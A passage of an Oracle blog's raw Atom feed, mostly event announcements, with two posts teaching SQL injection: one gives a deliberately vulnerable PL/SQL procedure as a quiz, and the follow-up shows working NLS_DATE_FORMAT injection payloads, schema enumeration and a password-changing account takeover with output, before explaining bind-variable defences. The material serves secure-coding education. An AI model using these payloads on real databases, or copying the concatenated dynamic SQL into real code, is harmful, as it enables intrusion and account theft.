href="http://blog.tanelpoder.com/2011/03/16/ora-4031-errors-contention-cursor-management-issues-and-shared-pool-fragmentation-free-secret-seminar/"&gt;Something worth money for free&lt;/a&gt;.  Check it out - space is limited and will probably go pretty fast.  Tanel knows his stuff.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-2019317949038192140?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/2019317949038192140/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=2019317949038192140' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2019317949038192140'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2019317949038192140'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/03/something-you-dont-always-see.html' title='Something you don&apos;t always see..'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-7814776109289886370</id><published>2011-03-14T10:20:00.002-04:00</published><updated>2011-03-14T10:25:27.539-04:00</updated><title type='text'>Another Day, Another....</title><content type='html'>Another day, another day of&lt;a href="http://www.ioug.org/Events/ADayofRealWorldPerformance/tabid/194/Default.aspx"&gt; Real World Performance&lt;/a&gt;.  We are bringing it East.  The first four events where held in Los Angeles, San Diego, Seattle and Phoenix.  The next are are in &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Houston Texas, Wednesday April 20th&lt;/li&gt;&lt;li&gt;Atlanta Georgia, Friday April 22nd&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Click on the link above to get more information and see some feedback from the first four events.  It is a day long event - with early bird registration breaks if you register before March 18th!  It'll be $75 off if you register early.  That is just $100 for IOUG members and $150 for non-members.  Given that you get a delicious box lunch as part of the deal - that's a pretty good price.&lt;br /&gt;&lt;br /&gt;This is being done in conjunction with the &lt;a href="http://www.ioug.org"&gt;IOUG &lt;/a&gt;- they are organizing the logistics, we are doing the talking. After March 18th, it'll be $175USD for IOUG members and $225USD for non-members.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7814776109289886370?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/7814776109289886370/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=7814776109289886370' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7814776109289886370'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7814776109289886370'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/03/another-day-another.html' title='Another Day, Another....'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-1724148551902152236</id><published>2011-03-11T11:26:00.001-05:00</published><updated>2011-03-11T11:28:38.721-05:00</updated><title type='text'>Very Nice...</title><content type='html'>Recently I wrote about a &lt;a href="http://tkyte.blogspot.com/2011/02/searching-on-google-just-got-lot-safer.html"&gt;Chrome plugin&lt;/a&gt; that allowed you to block sites from being returned in google search results.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;They have gone a step better - they've made that functionality &lt;a href="http://www.ubergizmo.com/2011/03/google-site-blocking/"&gt;available to anyone logged into google&lt;/a&gt;.  With any browser!  Very nice.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-1724148551902152236?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/1724148551902152236/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=1724148551902152236' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1724148551902152236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1724148551902152236'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/03/very-nice.html' title='Very Nice...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-7740325889872321266</id><published>2011-02-18T16:27:00.001-05:00</published><updated>2011-02-18T16:27:42.668-05:00</updated><title type='text'>Interesting Read Followup…</title><content type='html'>&lt;p&gt;Two days ago I wrote about an &lt;a href="http://tkyte.blogspot.com/2011/02/interesting-read.html"&gt;interesting security fiasco&lt;/a&gt; and said I’d follow up on it in a day or two – so here we are.&lt;/p&gt;  &lt;p&gt;Just to recap – I wrote previously:&lt;/p&gt;  &lt;p&gt;&lt;em&gt;As a quick test - see if you can&lt;/em&gt;&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;em&gt;determine how the following bit of code can be attacked &lt;/em&gt;&lt;/li&gt;    &lt;li&gt;&lt;em&gt;what might be the outcome of this attack - what might be compromised on your server if this code were attacked, what could they do with it? &lt;/em&gt;&lt;/li&gt;    &lt;li&gt;&lt;em&gt;how to best protect against that attack &lt;/em&gt;&lt;/li&gt;    &lt;li&gt;&lt;em&gt;how else - short of the &amp;quot;best&amp;quot; - would you protect against the attack&lt;/em&gt;&lt;/li&gt; &lt;/ol&gt;  &lt;pre&gt;&lt;br /&gt;&lt;em&gt;create or replace procedure inj( p_date in date )&lt;br /&gt;as&lt;br /&gt;l_rec   all_users%rowtype;&lt;br /&gt;c       sys_refcursor;&lt;br /&gt;l_query long;&lt;br /&gt;begin&lt;br /&gt;l_query := '&lt;br /&gt;select *&lt;br /&gt;from all_users&lt;br /&gt;where created = ''' ||p_date ||'''';&lt;br /&gt;&lt;br /&gt;dbms_output.put_line( l_query );&lt;br /&gt;open c for l_query;&lt;br /&gt;&lt;br /&gt;for i in 1 .. 5&lt;br /&gt;loop&lt;br /&gt;fetch c into l_rec;&lt;br /&gt;exit when c%notfound;&lt;br /&gt;dbms_output.put_line( l_rec.username || '.....' );&lt;br /&gt;end loop;&lt;br /&gt;close c;&lt;br /&gt;end;&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;In the comments to that blog entry we did get the answers bit by bit, I’ll summarize them here.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;For #1 and #2, determine how the following bit of code can be attacked and what the outcome might be, we saw in the comments that all it took was the ability to set your NLS_DATE_FORMAT.&amp;#160; A capability anyone with CREATE SESSION has.&amp;#160; For example, if we set the NLS_DATE_FORMAT and run the procedure:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;ops$tkyte%ORA11GR2&amp;gt; alter session set&lt;br /&gt;    &lt;br /&gt;&amp;#160; 2&amp;#160; nls_date_format = '&amp;quot;''union select tname,0,null from tab--&amp;quot;';&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;Session altered.&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;ops$tkyte%ORA11GR2&amp;gt; &lt;br /&gt;    &lt;br /&gt;ops$tkyte%ORA11GR2&amp;gt; exec inj(sysdate)&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;select *&lt;br /&gt;    &lt;br /&gt;from all_users&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;where created = ''union select tname,0,null from&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;tab--'&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;BIG_AUDIT_TABLE.....&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;BIG_TABLE.....&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;USER_PW.....&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;C1.....&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;C2.....&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;PL/SQL procedure successfully completed.&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;As you can see – instead of reading ALL_USERS, we are now reading TAB – and seeing what tables might exist there.&amp;#160; Now, I cannot query USER_PW – that is owned by the owner of the procedure and I have no select on it – but – we’ll be able to read it anyway since this stored procedure can be used to query any table in the schema that owns it!&amp;#160; But first, we’ll need to see the column names – we don’t know those yet.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;ops$tkyte%ORA11GR2&amp;gt; alter session set&lt;br /&gt;    &lt;br /&gt;&amp;#160; 2&amp;#160; nls_date_format = '&amp;quot;''union select tname||cname,0,null from col--&amp;quot;';&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;Session altered.&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;ops$tkyte%ORA11GR2&amp;gt; exec inj(sysdate)&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;select *&lt;br /&gt;    &lt;br /&gt;from all_users&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;where created = ''union select tname||cname,0,null&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;from col—'&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;USER_PWPW...&lt;br /&gt;    &lt;br /&gt;USER_PWUNAME...&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;I think you are getting the picture – using a bit of trickery – we can query up many things in that schema – discovering what we need as we go along.&amp;#160; &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;If I have CREATE PROCEDURE (say a disgruntled developer, or a developer that just likes to be able to do stuff on the sly…) – I can go much further.&amp;#160; Consider this:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;ops$tkyte%ORA11GR2&amp;gt; grant execute on inj to scott;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;Grant succeeded.&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;ops$tkyte%ORA11GR2&amp;gt; connect scott/tiger&lt;br /&gt;    &lt;br /&gt;Connected.&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;scott%ORA11GR2&amp;gt; create or replace function chgpw return varchar2&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&amp;#160; 2&amp;#160; AUTHID CURRENT_USER&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&amp;#160; 3&amp;#160; as&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&amp;#160; 4&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; pragma autonomous_transaction;&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&amp;#160; 5&amp;#160; begin&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&amp;#160; 6&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; execute immediate 'alter user ops$tkyte identified by barfoo';&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&amp;#160; 7&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; return 'got you';&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&amp;#160; 8&amp;#160; end;&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&amp;#160; 9&amp;#160; /&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;Function created.&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;scott%ORA11GR2&amp;gt; grant execute on chgpw to public;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;Grant succeeded.&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;scott%ORA11GR2&amp;gt; &lt;br /&gt;    &lt;br /&gt;scott%ORA11GR2&amp;gt; &lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;scott%ORA11GR2&amp;gt; connect ops$tkyte/barfoo&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;ERROR:&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;ORA-01017: invalid username/password; logon denied&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;  &lt;br /&gt;&lt;font face="Courier New"&gt;Warning: You are no longer connected to ORACLE.&lt;br /&gt;    &lt;br /&gt;scott%ORA11GR2&amp;gt; connect scott/tiger&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;Connected.&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;scott%ORA11GR2&amp;gt; alter session set&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&amp;#160; 2&amp;#160; nls_date_format = '&amp;quot;''union select scott.chgpw,0,null from dual--&amp;quot;';&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;Session altered.&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;scott%ORA11GR2&amp;gt; exec ops$tkyte.inj(sysdate)&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;select *&lt;br /&gt;    &lt;br /&gt;from all_users&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;where created = ''union select scott.chgpw,0,null from&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;dual--'&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;got you.....&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;PL/SQL procedure successfully completed.&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;scott%ORA11GR2&amp;gt; connect ops$tkyte/barfoo&lt;br /&gt;    &lt;br /&gt;Connected.&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Anyone with create procedure and create session can kidnap that account.&amp;#160; This is NOT a bug in Oracle, this is not a bug in the database – this is everything working as expected. This is a bug in your developed code.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&amp;#160;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Now, what about #3 and #4 – how can we protect against that attack?&amp;#160; The easiest answer is always “use bind variables”.&amp;#160; If you use bind variables in your SQL, your SQL cannot be injected.&amp;#160; It is that simple.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;If you use bind variables, your SQL cannot be injected.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;SQL can only be injected when you concatenate inputs from the outside into your SQL.&amp;#160; If you do not concatenate these inputs, they cannot become part of your SQL.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Now, what if you couldn’t use bind variables (I’m hard pressed to come up with a case whereby that is actually true!) or didn’t want to use bind variables (as might be true in a data mart/data warehouse).&amp;#160; What then?&amp;#160; In this case – you would never rely on an implicit conversion.&amp;#160; This bit of code:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;where created = ‘’’ || p_date || ‘’’’;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;relies on an implicit conversion from a string to a date.&amp;#160; Implicit conversion are evil incarnate – if you see them in your code or others code – fix it right away. Many bad things can happen – you’ve seen one above.&amp;#160; One possible fix would be to use this code:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;font face="Courier New"&gt;where created = to_date( ''' || to_char(p_date,'yyyymmddhh24miss') ||''', ''yyyymmddhh24miss'' )';&lt;br /&gt;    &lt;br /&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;That would make SQL Injection for that date input impossible – the ALTER SESSION SET NLS_DATE_FORMAT would have no impact on us anymore.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;In other cases where the input is a string – we could use the &lt;a href="http://download.oracle.com/docs/cd/E11882_01/appdev.112/e16760/d_assert.htm"&gt;DBMS_ASSERT&lt;/a&gt; package.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&amp;#160;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;But always remember this:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;If you use bind variables, your SQL cannot be injected.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;It is really that simple!!!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7740325889872321266?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/7740325889872321266/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=7740325889872321266' title='15 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7740325889872321266'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7740325889872321266'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/02/interesting-read-followup.html' title='Interesting Read Followup…'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>15</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-1434975888801755337</id><published>2011-02-18T08:09:00.002-05:00</published><updated>2011-02-18T08:12:17.231-05:00</updated><title type='text'>For Vienna and Tallinn...</title><content type='html'>If you are near Vienna or Tallinn - you have an opportunity to attend an excellent two day seminar hosted by Oracle University - but delivered by&lt;a href="http://richardfoote.wordpress.com/2011/02/18/last-notice-for-seminars-scheduled-for-vienna-and-tallinn-next-month/"&gt; Richard Foote&lt;/a&gt;.  If you really want to know all about indexing in Oracle - this seminar will deliver.  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I know Richard really knows his stuff - and I've seen him present many times before.  This will be a seriously good event.  The linked to page has linked to the registration pages.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-1434975888801755337?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/1434975888801755337/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=1434975888801755337' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1434975888801755337'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1434975888801755337'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/02/for-vienna-and-tallinn.html' title='For Vienna and Tallinn...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-1502434768817476281</id><published>2011-02-16T07:53:00.006-05:00</published><updated>2011-02-16T08:16:11.529-05:00</updated><title type='text'>An Interesting Read...</title><content type='html'>I found&lt;a href="http://arstechnica.com/tech-policy/news/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack.ars/"&gt; this article on the 'security' firm HBGary&lt;/a&gt; to be very interesting.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;They were brought down by 'Anonymous' recently, in a completely embarrassing fashion (for a security firm, for sure).  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;What I found most interesting was how it all started and how easy it was....&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;It all started with a simple SQL Injection attack on their custom Content Management System (CMS).  By finding a small exploit in that application, they gained access to the usernames and hashed passwords.  Since the hashed passwords were neither salted, nor exceptionally well hashed - simple rainbow tables were used to figure out the (simple) passwords of a few power users.  Once they had the passwords to the CMS - they then discovered some power users (at a security firm) liked to reuse their passwords over and over on many systems.  That fact in turn gave them access to their email - where they discovered yet more passwords (sent in emails) - including the root password to a powerful internal machine.  Given that information - and improper ssh configuration - they were able to "socially engineer" (over email) remote access to this machine - to which they now had root...  And that was the end of that.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;An internet security firm - brought down - by not following the most *basic* of security principals.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And all because of - &lt;b&gt;SQL Injection&lt;/b&gt;...  &lt;b&gt;&lt;i&gt;If you don't use bind variables&lt;/i&gt;&lt;/b&gt; - you are susceptible to it.  If you accept input from an end user and concatenate it into your SQL, you are subject to SQL Injection.  &lt;i style="font-weight: bold; "&gt;If you use bind variables - if you do not dynamically construct your SQL at runtime &lt;/i&gt;- you are not subject to it.  It is that simple.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I say this a lot:&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt; "it is much harder to write code that doesn't use binds than it is to write code that uses binds".  &lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;To which I get a lot of confused stares - for all of the developers "know" that if they use binds - they have to write MORE code - not less.  And MORE = harder -right?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Wrong, 100% wrong.  If you do not use binds, you have to write more code than if you use them.  The code you have to write is the code to ensure with 100% degree of certainty that  your inputs from the end user are valid, are safe, will not subject you to SQL Injection.  And that is non-trivial.  The real kicker is - after you write that code - you better submit it for review to at least five people that do not like you (that last bit is important).  They have to be SUPER critical of the code and subject it to rigorous review.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As a quick test - see if you can &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;determine how the following bit of code can be attacked&lt;/li&gt;&lt;li&gt;what might be the outcome of this attack - what might be compromised on your server if this code were attacked, what could they do with it?&lt;/li&gt;&lt;li&gt;how to best protect against that attack&lt;/li&gt;&lt;li&gt;how else - short of the "best" - would you protect against the attack&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;pre&gt;&lt;br /&gt;create or replace procedure inj( p_date in date )&lt;br /&gt;as&lt;br /&gt;l_rec   all_users%rowtype;&lt;br /&gt;c       sys_refcursor;&lt;br /&gt;l_query long;&lt;br /&gt;begin&lt;br /&gt;l_query := '&lt;br /&gt;select *&lt;br /&gt;from all_users&lt;br /&gt;where created = ''' ||p_date ||'''';&lt;br /&gt;&lt;br /&gt;dbms_output.put_line( l_query );&lt;br /&gt;open c for l_query;&lt;br /&gt;&lt;br /&gt;for i in 1 .. 5&lt;br /&gt;loop&lt;br /&gt;fetch c into l_rec;&lt;br /&gt;exit when c%notfound;&lt;br /&gt;dbms_output.put_line( l_rec.username || '.....' );&lt;br /&gt;end loop;&lt;br /&gt;close c;&lt;br /&gt;end;&lt;br /&gt;&lt;/pre&gt;I'll post my answers to 1-4 tomorrow or the next day.&lt;br /&gt;&lt;br /&gt;Think about it - how many of the developers you work with would even know that bit of code was easily attacked?  Not many in my experience (I wouldn't have seen it right off until just a few years ago by the way - no magic here...)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-1502434768817476281?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/1502434768817476281/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=1502434768817476281' title='24 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1502434768817476281'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1502434768817476281'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2011/02/interesting-read.html' title='An Interesting Read...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>24</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-617437692760094772</id><published>2011-02-15T07:13:00.003-05:00</published><updated>2011-02-15T07:17:00.150-05:00</updated><title type='text'>Searching on Google just got a lot safer...</title><content 